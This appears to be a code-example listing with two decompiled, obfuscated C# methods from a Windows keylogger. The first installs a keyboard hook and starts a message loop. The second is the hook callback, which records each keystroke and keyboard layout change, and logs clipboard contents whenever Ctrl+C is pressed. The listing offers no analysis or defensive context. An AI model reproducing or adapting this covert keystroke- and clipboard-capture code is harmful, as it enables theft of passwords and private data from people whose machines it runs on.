Пример #1
0
 public static void xmethod_11()
 {
     if (File.Exists(Class_8.field_10))
     {
         Class_8.field_8 = int.Parse(File.ReadAllText(Class_8.field_10));
     }
     Class_8.field_5 = Class_8.tmethod_12(Class_8.field_4);
     Class_8.field_9 = Class_8.kmethod_27().ToString();
     Class_8.vmethod_15(Class_8.kmethod_17("Keyboard layout: " + Class_8.field_9 + "\n", "Key"));
     Application.Run();
     try
     {
         Class_8.smethod_20(Class_8.field_5);
     }
     catch
     {
     }
 }
Пример #2
0
 // Token: 0x06000021 RID: 33 RVA: 0x0000324C File Offset: 0x0000144C
 private static IntPtr gmethod_13(int sayıInt_0, IntPtr arg_0, IntPtr arg_1)
 {
     if (sayıInt_0 >= 0)
     {
         int    num  = Marshal.ReadInt32(arg_1);
         string str_ = new KeysConverter().ConvertToString((Keys)num);
         string text = Class_8.kmethod_27().ToString();
         if (!(Class_8.field_9 == text))
         {
             Class_8.vmethod_15(Class_8.kmethod_17("\n<Keyboard layout changed:" + text + ">\n", "Key"));
             Class_8.field_9 = text;
         }
         if (arg_0 == (IntPtr)256)
         {
             Class_8.vmethod_15(Class_8.kmethod_17(str_, "Key"));
         }
         if (arg_0 == (IntPtr)257)
         {
             if (162 == num)
             {
                 Class_8.vmethod_15(Class_8.kmethod_17(str_, "Key"));
             }
             if (160 == num)
             {
                 Class_8.vmethod_15(Class_8.kmethod_17(str_, "Key"));
             }
         }
         if (67 == num && Keys.Control == Control.ModifierKeys)
         {
             string str = Class_8.cmethod_14();
             Class_8.vmethod_15(Class_8.kmethod_17(Environment.NewLine + " Clipboard changed: " + str + "\n", "Key"));
             Class_8.vmethod_15(Class_8.kmethod_17("\n<COPY>\n", "Key"));
         }
         else if (86 == num && Keys.Control == Control.ModifierKeys)
         {
             Class_8.vmethod_15(Class_8.kmethod_17("\n<PASTE>\n", "Key"));
         }
         else if (90 == num && Keys.Control == Control.ModifierKeys)
         {
             Class_8.vmethod_15(Class_8.kmethod_17("\n<Cancel>\n", "Key"));
         }
         else if (70 == num && Keys.Control == Control.ModifierKeys)
         {
             Class_8.vmethod_15(Class_8.kmethod_17("\n<Find>\n", "Key"));
         }
         else if (65 == num && Keys.Control == Control.ModifierKeys)
         {
             Class_8.vmethod_15(Class_8.kmethod_17("\n<Select all>\n", "Key"));
         }
         else if (78 == num && Keys.Control == Control.ModifierKeys)
         {
             Class_8.vmethod_15(Class_8.kmethod_17("\n<New>\n", "Key"));
         }
         else if (84 == num && Keys.Control == Control.ModifierKeys)
         {
             Class_8.vmethod_15(Class_8.kmethod_17("\n<New tab>\n", "Key"));
         }
         else if (88 == num && Keys.Control == Control.ModifierKeys)
         {
             Class_8.vmethod_15(Class_8.kmethod_17("\n<Cut out>\n", "Key"));
         }
     }
     return(Class_8.xmethod_21(Class_8.field_5, sayıInt_0, arg_0, arg_1));
 }